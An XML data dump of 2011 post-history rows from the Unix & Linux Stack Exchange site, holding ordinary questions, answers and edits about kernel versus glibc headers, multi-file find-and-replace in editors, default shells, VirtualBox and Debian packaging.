  <row Id="18596" PostHistoryTypeId="2" PostId="7928" RevisionGUID="ec003893-1c1f-4121-a398-70f2ddb7faec" CreationDate="2011-02-23T22:58:08.543" UserId="5047" Text="Well, obviously there is a difference, but I'm curious about the rational behind why some things go under /usr/include/sys and others go under /usr/include/linux, and have the same header file name? Does this have something to do with POSIX vx non-POSIX?&#xD;&#xA;&#xD;&#xA;Also, I've managed to populate /usr/include/linux with headers on my Fedora system by grabbing a the kernel-headers package, is there a standard package name for me to get header files that go under /usr/include/sys? I haven't been able to find it." />
  <row Id="18597" PostHistoryTypeId="1" PostId="7928" RevisionGUID="ec003893-1c1f-4121-a398-70f2ddb7faec" CreationDate="2011-02-23T22:58:08.543" UserId="5047" Text="Difference between /usr/include/sys and /usr/include/linux?" />
  <row Id="18598" PostHistoryTypeId="3" PostId="7928" RevisionGUID="ec003893-1c1f-4121-a398-70f2ddb7faec" CreationDate="2011-02-23T22:58:08.543" UserId="5047" Text="élinuxàéfedoraàéheaderöfileà" />
  <row Id="18599" PostHistoryTypeId="2" PostId="7929" RevisionGUID="85ed891b-028b-464d-b3a3-0e2681afa473" CreationDate="2011-02-23T23:04:00.160" UserId="3999" Text="How does one find and replace text in **all open files** with [geany][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Geany" />
  <row Id="18600" PostHistoryTypeId="1" PostId="7929" RevisionGUID="85ed891b-028b-464d-b3a3-0e2681afa473" CreationDate="2011-02-23T23:04:00.160" UserId="3999" Text="How does one find and replace text IN ALL OPEN FILES with geany?" />
  <row Id="18601" PostHistoryTypeId="3" PostId="7929" RevisionGUID="85ed891b-028b-464d-b3a3-0e2681afa473" CreationDate="2011-02-23T23:04:00.160" UserId="3999" Text="éeditorsà" />
  <row Id="18602" PostHistoryTypeId="2" PostId="7930" RevisionGUID="fd29e431-41b5-4809-a59f-aaa2756bb566" CreationDate="2011-02-23T23:05:58.287" UserId="3999" Text="How does one find and replace text **in all open files** with [gedit][1]?&#xD;&#xA;&#xD;&#xA;  [1]:  http://en.wikipedia.org/wiki/Gedit&#xD;&#xA;" />
  <row Id="18603" PostHistoryTypeId="1" PostId="7930" RevisionGUID="fd29e431-41b5-4809-a59f-aaa2756bb566" CreationDate="2011-02-23T23:05:58.287" UserId="3999" Text="How does one find and replace text IN ALL OPEN FILES with gedit?" />
  <row Id="18604" PostHistoryTypeId="3" PostId="7930" RevisionGUID="fd29e431-41b5-4809-a59f-aaa2756bb566" CreationDate="2011-02-23T23:05:58.287" UserId="3999" Text="éeditorsà" />
  <row Id="18605" PostHistoryTypeId="5" PostId="5506" RevisionGUID="d3b8a0d1-7bc4-438c-9f72-7638ae5579aa" CreationDate="2011-02-23T23:07:07.863" UserId="688" Comment="added 184 characters in body; edited tags; edited title" Text="Which do you recommend? Some POVs to consider:&#xD;&#xA;&#xD;&#xA;* stability&#xD;&#xA;* available packages&#xD;&#xA;* life&#xD;&#xA;* kernels&#xD;&#xA;* or any other reasons?&#xD;&#xA;&#xD;&#xA;[**note**] This question was originally a request for recommendation between Debian 5 &quot;lenny&quot; and Debian 6 &quot;squeeze&quot;. I modified it to make it more generic." />
  <row Id="18606" PostHistoryTypeId="4" PostId="5506" RevisionGUID="d3b8a0d1-7bc4-438c-9f72-7638ae5579aa" CreationDate="2011-02-23T23:07:07.863" UserId="688" Comment="added 184 characters in body; edited tags; edited title" Text="For deploying a public-facing webapp, which between Testing and Stable to use some weeks before release?" />
  <row Id="18607" PostHistoryTypeId="6" PostId="5506" RevisionGUID="d3b8a0d1-7bc4-438c-9f72-7638ae5579aa" CreationDate="2011-02-23T23:07:07.863" UserId="688" Comment="added 184 characters in body; edited tags; edited title" Text="édebianàéstabilityàésupportöcycleà" />
  <row Id="18608" PostHistoryTypeId="2" PostId="7931" RevisionGUID="c61444ed-1529-4851-9632-773537ec0357" CreationDate="2011-02-23T23:16:47.103" UserId="3999" Text="How does one find and replace text **in all open files** with [LibreOffice][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]:  http://en.wikipedia.org/wiki/LibreOffice" />
  <row Id="18609" PostHistoryTypeId="1" PostId="7931" RevisionGUID="c61444ed-1529-4851-9632-773537ec0357" CreationDate="2011-02-23T23:16:47.103" UserId="3999" Text="How does one find and replace text IN ALL OPEN FILES with LibreOffice?" />
  <row Id="18610" PostHistoryTypeId="3" PostId="7931" RevisionGUID="c61444ed-1529-4851-9632-773537ec0357" CreationDate="2011-02-23T23:16:47.103" UserId="3999" Text="éeditorsà" />
  <row Id="18611" PostHistoryTypeId="2" PostId="7932" RevisionGUID="500669ff-7c11-498e-9357-e29075e684af" CreationDate="2011-02-23T23:17:55.963" UserId="3999" Text="How does one find and replace text **in all open files** with [kate][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Kate_(text_editor)" />
  <row Id="18612" PostHistoryTypeId="1" PostId="7932" RevisionGUID="500669ff-7c11-498e-9357-e29075e684af" CreationDate="2011-02-23T23:17:55.963" UserId="3999" Text="How does one find and replace text IN ALL OPEN FILES with kate?" />
  <row Id="18613" PostHistoryTypeId="3" PostId="7932" RevisionGUID="500669ff-7c11-498e-9357-e29075e684af" CreationDate="2011-02-23T23:17:55.963" UserId="3999" Text="éeditorsà" />
  <row Id="18614" PostHistoryTypeId="2" PostId="7933" RevisionGUID="1b86a696-653c-44a8-b1c7-8e5449748dd8" CreationDate="2011-02-23T23:19:01.967" UserId="3999" Text="How does one find and replace text **in all open files** with [jed][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/JED_(text_editor)" />
  <row Id="18615" PostHistoryTypeId="1" PostId="7933" RevisionGUID="1b86a696-653c-44a8-b1c7-8e5449748dd8" CreationDate="2011-02-23T23:19:01.967" UserId="3999" Text="How does one find and replace text IN ALL OPEN FILES with jed?" />
  <row Id="18616" PostHistoryTypeId="3" PostId="7933" RevisionGUID="1b86a696-653c-44a8-b1c7-8e5449748dd8" CreationDate="2011-02-23T23:19:01.967" UserId="3999" Text="éeditorsà" />
  <row Id="18617" PostHistoryTypeId="5" PostId="5508" RevisionGUID="5fc5c39b-3c04-4465-8392-2d489cc95491" CreationDate="2011-02-23T23:20:24.900" UserId="688" Comment="make more generic; added 4 characters in body" Text="Go for Debian Testing:&#xD;&#xA;&#xD;&#xA;* __life__: Official support for Debian releases end a year after a new one has been released. So if you go for Debian Stable, you only have a year from next release before needing to upgrade.&#xD;&#xA;* __stability__: At the time of writing, the soon-to-be Debian 6 &quot;squeeze&quot; had ~20 RC bugs while then Debian 5 &quot;lenny&quot; had a whooping ~900 RC bugs (but [don't read too much into it][1]).&#xD;&#xA;* __packages__: Each release of Debian has more packages than the last. Note that sometimes some packages are removed from a release. Reasons may include death of software, stability, security, ...&#xD;&#xA;* __kernels__: More often than not, you want a newer kernel, if not for nothing but improved hardware support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ask.debian.net/questions/why-are-there-more-rc-bugs-in-lenny-than-in-squeeze&#xD;&#xA;  [2]: http://packages.debian.org/source/stable/linux-2.6&#xD;&#xA;  [3]: http://packages.debian.org/source/testing/linux-2.6" />
  <row Id="18618" PostHistoryTypeId="25" PostId="7924" RevisionGUID="6baf1496-e5ff-45ad-be37-e2a1c2ac50d9" CreationDate="2011-02-23T23:23:22.727" Comment="http://twitter.com/#!/StackUnix/status/40552321184313344" />
  <row Id="18619" PostHistoryTypeId="11" PostId="5506" RevisionGUID="e2a50dd1-f2bd-42ae-a549-5afc48956fa3" CreationDate="2011-02-23T23:28:49.413" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="18620" PostHistoryTypeId="4" PostId="7929" RevisionGUID="7b34fa9b-1b8a-4bdb-859a-ef48f30176dc" CreationDate="2011-02-23T23:32:39.207" UserId="73" Comment="edited tags; edited title" Text="How does one find and replace text in all open files with geany?" />
  <row Id="18621" PostHistoryTypeId="6" PostId="7929" RevisionGUID="7b34fa9b-1b8a-4bdb-859a-ef48f30176dc" CreationDate="2011-02-23T23:32:39.207" UserId="73" Comment="edited tags; edited title" Text="éeditorsàétextöprocessingàégeanyà" />
  <row Id="18622" PostHistoryTypeId="4" PostId="7930" RevisionGUID="678737bc-6c3e-4b54-9a37-079065515e02" CreationDate="2011-02-23T23:32:41.263" UserId="73" Comment="edited tags; edited title" Text="How does one find and replace text in all open files with gedit?" />
  <row Id="18623" PostHistoryTypeId="6" PostId="7930" RevisionGUID="678737bc-6c3e-4b54-9a37-079065515e02" CreationDate="2011-02-23T23:32:41.263" UserId="73" Comment="edited tags; edited title" Text="éeditorsàétextöprocessingàégedità" />
  <row Id="18624" PostHistoryTypeId="4" PostId="7931" RevisionGUID="b26e5a2a-5af7-454c-98bf-1685cb99fd6d" CreationDate="2011-02-23T23:32:41.653" UserId="73" Comment="edited tags; edited title" Text="How does one find and replace text in all open files with LibreOffice?" />
  <row Id="18625" PostHistoryTypeId="6" PostId="7931" RevisionGUID="b26e5a2a-5af7-454c-98bf-1685cb99fd6d" CreationDate="2011-02-23T23:32:41.653" UserId="73" Comment="edited tags; edited title" Text="éeditorsàétextöprocessingàéopenofficeà" />
  <row Id="18626" PostHistoryTypeId="4" PostId="7933" RevisionGUID="cf2ecb3a-0db0-40f2-8edc-63ebf221c793" CreationDate="2011-02-23T23:32:42.997" UserId="73" Comment="edited tags; edited title" Text="How does one find and replace text in all open files with jed?" />
  <row Id="18627" PostHistoryTypeId="6" PostId="7933" RevisionGUID="cf2ecb3a-0db0-40f2-8edc-63ebf221c793" CreationDate="2011-02-23T23:32:42.997" UserId="73" Comment="edited tags; edited title" Text="éeditorsàétextöprocessingàéjedà" />
  <row Id="18628" PostHistoryTypeId="4" PostId="7932" RevisionGUID="72a2d3bf-d1f3-45e9-9d24-40e88dcc8031" CreationDate="2011-02-23T23:32:43.073" UserId="73" Comment="edited tags; edited title" Text="How does one find and replace text in all open files with kate?" />
  <row Id="18629" PostHistoryTypeId="6" PostId="7932" RevisionGUID="72a2d3bf-d1f3-45e9-9d24-40e88dcc8031" CreationDate="2011-02-23T23:32:43.073" UserId="73" Comment="edited tags; edited title" Text="éeditorsàétextöprocessingàékateà" />
  <row Id="18630" PostHistoryTypeId="2" PostId="7934" RevisionGUID="807dd707-71a6-4542-88d3-b29cbb231f9a" CreationDate="2011-02-23T23:35:53.713" UserId="3587" Text="You should check out [checkinstall][1]. Instead of&#xD;&#xA;&#xD;&#xA;    ./configure&#xD;&#xA;    make&#xD;&#xA;    sudo make install&#xD;&#xA;&#xD;&#xA;you do&#xD;&#xA;&#xD;&#xA;    ./configure&#xD;&#xA;    make&#xD;&#xA;    sudo make checkinstall&#xD;&#xA;&#xD;&#xA;and you'll be able to manage that package as if you had installed it through apt.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/CheckInstall" />
  <row Id="18631" PostHistoryTypeId="5" PostId="7884" RevisionGUID="2666035f-a20b-4793-a9ef-226e7bb8e306" CreationDate="2011-02-23T23:39:26.700" UserId="138" Comment="Clarity reorg, minor bits of prose tightening, and added speculation para at end about porting FreeBSD feature to OS X" Text="This is doable if someone wants to spend enough time to make it happen. No one has, yet.&#xD;&#xA;&#xD;&#xA;It's been done before on other platforms:&#xD;&#xA;&#xD;&#xA;- Solaris and UnixWare include a helper program called &lt;a href=&quot;http://www.ugcs.caltech.edu/~steven/lxrun/&quot;&gt;lxrun&lt;/a&gt;, which works something like `sudo`: you pass your executable name and parameters to a helper program and it fixes things up dynamically so that the executable can talk to the OS. The &lt;a href=&quot;http://www.ugcs.caltech.edu/~steven/lxrun/&quot;&gt;official site&lt;/a&gt; says it's bitrotted.&#xD;&#xA;&#xD;&#xA;- Linux's kernel once had a feature called iBCS that did the reverse, except that it didn't need a helper because the kernel recognized the &quot;foreign&quot; binaries directly. It died with kernel 2.2, most likely because the small Unix server battle was essentially over once 2.4 came out.&#xD;&#xA;&#xD;&#xA;- FreeBSD's kernel &lt;a href=&quot;http://www.freebsd.org/doc/en/books/handbook/linuxemu.html&quot;&gt;can be configured to recognize Linux binaries&lt;/a&gt; and run them as if they were native. FreeBSD being less popular than Linux, this feature appears to be in better shape than the above two.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://unix.stackexchange.com/questions/695/where-does-mac-os-x-come-from/697#697&quot;&gt;OS X has a lot of FreeBSD in it&lt;/a&gt; so porting its Linux support might be possible." />
  <row Id="18632" PostHistoryTypeId="2" PostId="7935" RevisionGUID="8c611fb2-dbbc-435e-bede-1c5f60501f10" CreationDate="2011-02-23T23:40:13.307" UserId="885" Text="The headers under `/usr/include/linux` and under `/usr/include/asm*` are distributed with the Linux kernel. The other headers (`/usr/include/sys/*.h`, `/usr/include/bits/*.h`, and many more) are distributed with the C library (the [GNU C library](http://www.gnu.org/s/libc/), also known as glibc, on all non-embedded Linux systems). There's a little [explanation in the glibc manual](http://www.gnu.org/s/libc/manual/html_node/Linux.html).&#xD;&#xA;&#xD;&#xA;Note that `/usr/include/linux` and `/usr/include/asm` should contain the headers that were used when compiling the C library, not the headers from the running kernel. Otherwise, if some constants or data structures changed, there will be an inconsistency between the compiled program and the C library, which is likely to result in a crash or worse. (If the headers match the C library but the C library doesn't match the kernel, what actually happens is that the kernel is designed to keep a stable ABI and must detect that it's called under a different ABI and interpret syscall arguments accordingly. The kernel must do this for statically compiled programs anyway.)&#xD;&#xA;&#xD;&#xA;I remember a heated debate between Debian and Red Hat a while (a decade?) ago on the `/usr/include/linux` issue; apparently each side is sticking to its position. (As far as I understand it, Debian is right, as explained above.) Debian currently distributes `/usr/include/linux` and friends in the [`linux-libc-dev`](http://packages.debian.org/squeeze/linux-libc-dev) package, which is compiled from kernel sources but not upgraded with the kernel. Kernel headers are in version-specific packages providing the [`linux-headers-2.6`](http://packages.debian.org/squeeze/linux-headers-2.6) metapackage; this is what you need to compile a module for a particular kernel version.&#xD;&#xA;&#xD;&#xA;The package you're looking for is the C library headers. I don't know what it's called, but you can find out with `yum provides /usr/include/sys/types.h`.&#xD;&#xA;" />
  <row Id="18634" PostHistoryTypeId="2" PostId="7936" RevisionGUID="fc44ef39-2345-4c64-87d2-880e98c70cf3" CreationDate="2011-02-23T23:54:12.843" UserId="73" Text="This is not possible with a stock gedit; there's an open [ubuntu brainstorm idea](http://brainstorm.ubuntu.com/idea/3933/) for adding the ability. However, there are plugins that add it, such as [advanced-find](http://code.google.com/p/advanced-find/). If you install that, one of the sections on the &quot;Advanced Find/Replace&quot; dialog is &quot;Scope&quot;; choose &quot;All Opened Documents&quot;:&#xD;&#xA;&#xD;&#xA;![Screenshot of the Advanced Find/Replace dialog](http://so.mrozekma.com/unix-gedit-advanced-search.png)" />
  <row Id="18635" PostHistoryTypeId="2" PostId="7937" RevisionGUID="219e7acb-1449-4545-be68-73ea345508ec" CreationDate="2011-02-23T23:59:38.070" UserId="2180" Text="Menu `Search-&gt;Replace` (or `Ctrl+h`). Fill in find and replace boxes, expand `Replace All`, click `In Session`" />
  <row Id="18636" PostHistoryTypeId="5" PostId="7937" RevisionGUID="6e4a2f28-99d8-4355-883e-4abc12ffd303" CreationDate="2011-02-24T00:12:07.580" UserId="2180" Comment="added headers" Text="Menu `Search-&gt;Replace` (or `Ctrl+h`). Fill in find and replace boxes, expand `Replace All`, click `In Session`&#xD;&#xA;&#xD;&#xA;#Step-by-step:&#xD;&#xA;##Select &quot;Replace&quot; from Search menu.&#xD;&#xA;![Select &quot;Replace&quot; from Search menu.][1]&#xD;&#xA;&#xD;&#xA;##Expand &quot;Replace All&quot;&#xD;&#xA;![Expand &quot;Replace All&quot;][2]&#xD;&#xA;&#xD;&#xA;##Click &quot;In Session&quot;&#xD;&#xA;![Click &quot;In Session&quot;][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/7qk44.png&#xD;&#xA;  [2]: http://i.imgur.com/bSkF0.png&#xD;&#xA;  [3]: http://i.imgur.com/Eyhpj.png" />
  <row Id="18637" PostHistoryTypeId="25" PostId="7930" RevisionGUID="3489d67e-5f98-4f50-b612-42e5f8c44d79" CreationDate="2011-02-24T02:23:22.377" Comment="http://twitter.com/#!/StackUnix/status/40597623962341378" />
  <row Id="18638" PostHistoryTypeId="2" PostId="7938" RevisionGUID="4c0991ec-82ee-4d84-a4b2-70cf80eee6f5" CreationDate="2011-02-24T02:42:36.760" UserDisplayName="Eonil" Text="As I know, `root`'s default shell is configured `csh` and normal user's default shell is `sh` in FreeBSD. And in Ubuntu, `root` is `dash`, normal user is `bash`. (refer: http://serverfault.com/questions/239535/whats-the-ubuntus-default-shell/239537#239537)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why are they configured differently?" />
  <row Id="18639" PostHistoryTypeId="1" PostId="7938" RevisionGUID="4c0991ec-82ee-4d84-a4b2-70cf80eee6f5" CreationDate="2011-02-24T02:42:36.760" UserDisplayName="Eonil" Text="Why root's default shell is configured differently with other normal user account's default shell?" />
  <row Id="18640" PostHistoryTypeId="3" PostId="7938" RevisionGUID="4c0991ec-82ee-4d84-a4b2-70cf80eee6f5" CreationDate="2011-02-24T02:42:36.760" UserDisplayName="Eonil" Text="éunixàéshellà" />
  <row Id="18641" PostHistoryTypeId="17" PostId="7938" RevisionGUID="2bdf419e-2a2f-40bc-b634-59ac9c63758a" CreationDate="2011-02-24T03:15:20.723" UserId="-1" Comment="from http://serverfault.com/questions/239544/why-roots-default-shell-is-configured-differently-with-other-normal-user-account" Text="" />
  <row Id="18642" PostHistoryTypeId="2" PostId="7939" RevisionGUID="f3a71eec-1fed-4959-a737-2405ead482cc" CreationDate="2011-02-24T03:30:36.897" UserId="916" Text="According to the [FAQ][1]:&#xD;&#xA;&#xD;&#xA;In FreeBSD's case, the reason is that `csh` is the only shell &quot;guaranteed&quot; to be on the base filesystem (stuff from `ports` usually winds up in `/usr/local/bin`, which defaults to a different filesystem). This is important because you don't ever want there to be a situation where `root` can't log in because it's using a shell on a different (unmounted) filesystem.&#xD;&#xA;&#xD;&#xA;[1]: http://www.freebsd.org/doc/en/books/faq/security.html&#xD;&#xA;" />
  <row Id="18643" PostHistoryTypeId="6" PostId="7924" RevisionGUID="408aae01-7025-47e7-aa7d-92cca7f14209" CreationDate="2011-02-24T04:17:18.680" UserId="250" Comment="edited tags" Text="ébashàéshellàéshellöscriptà" />
  <row Id="18644" PostHistoryTypeId="25" PostId="7938" RevisionGUID="0959cdc3-c984-41c0-a841-cc6e514afca3" CreationDate="2011-02-24T05:23:22.920" Comment="http://twitter.com/#!/StackUnix/status/40642922781224960" />
  <row Id="18645" PostHistoryTypeId="5" PostId="3889" RevisionGUID="67b0add4-9adf-4dd0-80c1-963a8742cd76" CreationDate="2011-02-24T05:43:20.507" UserId="688" Comment="added 32 characters in body; edited title" Text="I'm running Debian as host and I fail to get Debian, Ubuntu, and Fedora guests to be fullscreen. Changing video memory didn't help.&#xD;&#xA;&#xD;&#xA;**NOTES**:&#xD;&#xA;&#xD;&#xA;* I haven't tried any other distro&#xD;&#xA;* I didn't create WinXP guest myself&#xD;&#xA;" />
  <row Id="18646" PostHistoryTypeId="4" PostId="3889" RevisionGUID="67b0add4-9adf-4dd0-80c1-963a8742cd76" CreationDate="2011-02-24T05:43:20.507" UserId="688" Comment="added 32 characters in body; edited title" Text="How to make a distro be fullscreen on VirtualBox?" />
  <row Id="18647" PostHistoryTypeId="5" PostId="4053" RevisionGUID="238b5a06-04d9-47b1-a81c-c9ebafd3e26e" CreationDate="2011-02-24T05:54:39.853" UserId="688" Comment="deleted 26 characters in body" Text="Well, some of the programs include:&#xD;&#xA;&#xD;&#xA;- f-spot&#xD;&#xA;- gthumb&#xD;&#xA;&#xD;&#xA;They are easy to use but their options are pretty poor comparing to Inkscape or Gimp (even though Inscape is used for vector editing and Gimp for raster).&#xD;&#xA;&#xD;&#xA;Have in mind that Gimp is **worth** trying a little harder because when you master its basic functions, it will boost your image editing on a daily basis. If you dont like current UI of Gimp, use v2.7 to get single window UI (like Photoshop). &#xD;&#xA;Here's [a bunch of nice and free PDFs for Gimp usage and stuff][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuxradar.com/gimp" />
  <row Id="18648" PostHistoryTypeId="2" PostId="7940" RevisionGUID="b398d955-76c1-436d-bfb5-fa10d137fe3d" CreationDate="2011-02-24T06:03:27.643" UserId="688" Text="I am trying to restore a VM but I get this error message:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;I think this happened because, while the VM was live, I removed one snapshot.&#xD;&#xA;&#xD;&#xA;How do I fix this, short of restoring older snapshots?&#xD;&#xA;&#xD;&#xA;**NOTE**: I use version **4.0.4**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/SOuax.png" />
  <row Id="18649" PostHistoryTypeId="1" PostId="7940" RevisionGUID="b398d955-76c1-436d-bfb5-fa10d137fe3d" CreationDate="2011-02-24T06:03:27.643" UserId="688" Text="I'm failing to restore a VirtualBox snapshot" />
  <row Id="18650" PostHistoryTypeId="3" PostId="7940" RevisionGUID="b398d955-76c1-436d-bfb5-fa10d137fe3d" CreationDate="2011-02-24T06:03:27.643" UserId="688" Text="évirtualboxà" />
  <row Id="18651" PostHistoryTypeId="6" PostId="5323" RevisionGUID="5277a0e4-9318-4506-9959-90dd7efb29de" CreationDate="2011-02-24T06:04:30.997" UserId="688" Comment="edited tags" Text="éprocessàémemoryà" />
  <row Id="18652" PostHistoryTypeId="6" PostId="6364" RevisionGUID="78199f1d-3d8d-439c-8ad6-7aa8c523e63f" CreationDate="2011-02-24T06:06:15.720" UserId="688" Comment="edited tags; deleted 22 characters in body; edited tags; edited tags" Text="éfedoraàékdeàédesktopàécompizà" />
  <row Id="18653" PostHistoryTypeId="5" PostId="6364" RevisionGUID="78199f1d-3d8d-439c-8ad6-7aa8c523e63f" CreationDate="2011-02-24T06:06:15.720" UserId="688" Comment="edited tags; deleted 22 characters in body; edited tags; edited tags" Text="I have multiple, random problems with my Virtual Desktops. I'm running Fedora 14 with KDE and Compiz on a dual-monitor config.&#xD;&#xA;&#xD;&#xA;What happens (at random):&#xD;&#xA;&#xD;&#xA;- I often (almost always) have a problem with the Desktop of my Virtual Desktops (except for the 1st virtual desktop, that works all the time):&#xD;&#xA;   * Often, the background of the desktop is black and unresponsive (no wallpaper loaded, unresponsive to mouse actions).&#xD;&#xA;   * Sometimes the background of the desktop is composed of the windows opened in Virtual Desktop #1, but still unresponsive (I can only interact with the windows when I am on the correct VD)&#xD;&#xA;&#xD;&#xA;- I sometimes have problems with the task bars:&#xD;&#xA;   * Minimized windows appear on the task bars of all the VDs.&#xD;&#xA;   * Then, if for example on VD #1 task bar I click on a Window which is opened in VD #2, it will switch to VD #2, displays the window and that window won't appear in other VDs task bars (because it is not minimized anymore).&#xD;&#xA;&#xD;&#xA;- I installed the plugin rotating cube in compiz (to have hotkey to switch from one VD to another). But when I try to switch to the next or previous VD, it does the animation, but instead of switching it just stays on the same VD and minimize all the windows...&#xD;&#xA;&#xD;&#xA;Any idea?" />
  <row Id="18654" PostHistoryTypeId="2" PostId="7941" RevisionGUID="2c4a5364-1115-4cdb-966b-e7aa70debb9e" CreationDate="2011-02-24T06:20:25.917" UserId="250" Text="If I understand the situation correctly then it's quite severe. VirtualBox snapshots are incremental, so later ones depends on earlier ones. When you delete one snapshot VirtualBox does some processing to &quot;merge&quot; the snapshots, that's why it's not very fast to delete a snapshot.&#xD;&#xA;&#xD;&#xA;I haven't try it, but VirtualBox shouldn't let you delete snapshots while the virtual machine is running. In case you somehow managed to do it, I think all hope is lost. I hope you can restore the machine to an earlier snapshot." />
  <row Id="18655" PostHistoryTypeId="5" PostId="607" RevisionGUID="d212ac88-a1b2-409b-b98f-4b6f71280d06" CreationDate="2011-02-24T06:21:52.237" UserId="688" Comment="deleted 84 characters in body" Text="I want a lightweight Linux VM that I can run with VirtualBox on Windows so I can test how to deploy PHP apps, Mono apps, etc. I don't need the UI and was thinking of going with the Ubuntu server ISO. Is that a good choice? I know I can also download a ready-made VM and it's tempting. What does the community think?" />
  <row Id="18656" PostHistoryTypeId="5" PostId="3784" RevisionGUID="61560228-d870-4180-9fdb-984687df529e" CreationDate="2011-02-24T06:31:56.813" UserId="688" Comment="deleted 5 characters in body; added 3 characters in body" Text="The staging area for the next Debian release, Squeeze, has been having PHP 5.3 since [early 2010][1]. So, add `squeeze` to your '**/etc/apt/sources.list**', then:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get --simulate install php5&#xD;&#xA;&#xD;&#xA;Check output, ensure important packages won't be deleted, and system libraries won't be upgraded (or keep it at a minimun), and if things look ok:&#xD;&#xA;&#xD;&#xA;    apt-get install php5&#xD;&#xA;&#xD;&#xA;Of course this should be a temporary measure. That is, remove that **squeeze** line from '**source.list**' when your are done installing that PHP.&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.qa.debian.org/p/php5.html" />
  <row Id="18657" PostHistoryTypeId="2" PostId="7942" RevisionGUID="5745db02-b592-4cfe-b4e0-3dc989a98e32" CreationDate="2011-02-24T06:53:36.177" UserId="688" Text="How do you get Adobe's flash video to play on Chromium? Is it [this painful][1], or is there somewhere an extension?&#xD;&#xA;&#xD;&#xA;**NOTE**: On Debian, I install **flashplugin-nonfree** for Mozilla-based browsers. Is there an equivalent package for Chrome?&#xD;&#xA;&#xD;&#xA;[1]:http://superuser.com/q/17682/" />
  <row Id="18658" PostHistoryTypeId="1" PostId="7942" RevisionGUID="5745db02-b592-4cfe-b4e0-3dc989a98e32" CreationDate="2011-02-24T06:53:36.177" UserId="688" Text="How to enable flash on Chromium" />
  <row Id="18659" PostHistoryTypeId="3" PostId="7942" RevisionGUID="5745db02-b592-4cfe-b4e0-3dc989a98e32" CreationDate="2011-02-24T06:53:36.177" UserId="688" Text="échromeàéadobeöflashà" />
  <row Id="18660" PostHistoryTypeId="2" PostId="7943" RevisionGUID="f9f71ad8-6591-4429-be32-56a6246e15a9" CreationDate="2011-02-24T06:55:31.323" UserId="4812" Text="Can anybody explain(hopefully with a picture), how is the linux graphics stack organised? I hear all the time about X/GTK/GNOME/KDE etc., but I really don't have any idea what they actually do and how they interact with each other and other portions of the stack. How do Unity and Wayland fit in?" />
  <row Id="18661" PostHistoryTypeId="1" PostId="7943" RevisionGUID="f9f71ad8-6591-4429-be32-56a6246e15a9" CreationDate="2011-02-24T06:55:31.323" UserId="4812" Text="How is the linux graphics stack organised?" />
  <row Id="18662" PostHistoryTypeId="3" PostId="7943" RevisionGUID="f9f71ad8-6591-4429-be32-56a6246e15a9" CreationDate="2011-02-24T06:55:31.323" UserId="4812" Text="élinuxàégnomeàéxorgàékdeàégraphicsà" />
  <row Id="18663" PostHistoryTypeId="5" PostId="7599" RevisionGUID="a1c9ab5a-5571-42b5-99a3-256f13f1012b" CreationDate="2011-02-24T07:25:50.083" UserId="3629" Comment="Added portability notes." Text="The signal(7) man page (at least the one I have) shows multiple possible numbers for some of the signals.  If you can get `kill` to list the numbers, they should be correct for the running system.  Try:&#xD;&#xA;&#xD;&#xA;    kill -l&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    kill -L&#xD;&#xA;&#xD;&#xA;In both cases, that's an &quot;ell&quot; (for &quot;list&quot;), not a &quot;one&quot;.  Bash's built-in `kill -l` shows a nice numbered table.  Linux's procps `kill -l` shows a terse list of names without numbers, but `-L` shows a table with the numbers.  BSD `kill` seems to only understand `-l`, and won't show you the numbers.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18664" PostHistoryTypeId="2" PostId="7944" RevisionGUID="b7c9eafd-f25e-4931-9bb5-8b4816ad571d" CreationDate="2011-02-24T07:25:53.390" UserId="3082" Text="Chromium can also use the Mozilla plugins. Just install it and it should work. What distro are you using?" />
  <row Id="18665" PostHistoryTypeId="25" PostId="7943" RevisionGUID="532037d7-d3ed-4dc7-939b-97e406995759" CreationDate="2011-02-24T08:23:23.287" Comment="http://twitter.com/#!/StackUnix/status/40688224561004544" />
  <row Id="18666" PostHistoryTypeId="2" PostId="7945" RevisionGUID="2d6e57e6-dba8-48c8-8b89-8336164266e2" CreationDate="2011-02-24T09:04:24.007" UserId="2505" Text="Add `set -g terminal-overrides &quot;xterm*:smcup@:rmcup@&quot;` to your tmux config and restart tmux. If you are not using a terminal matching 'xterm*' you'll have to change it of course." />
  <row Id="18667" PostHistoryTypeId="2" PostId="7946" RevisionGUID="7a08dbc2-1353-4318-b58b-069c8fa27ee9" CreationDate="2011-02-24T09:04:46.710" UserId="2642" Text="Generally people who want to do this write an ed script and run it against all the files. E.g.:&#xD;&#xA;&#xD;&#xA;    *s/ThrityLimit/ThirtyLimit/&#xD;&#xA;    w&#xD;&#xA;    q&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And then run it like this&#xD;&#xA;&#xD;&#xA;    find . -name '*.c' -exec &quot;ed &lt;edscript&quot;&#xD;&#xA;&#xD;&#xA;You can also use an `ex` script which allows you to use all the : commands from `vi`. It's the same binary as `vi` just called using the command `ex` to start without the gui.&#xD;&#xA;" />
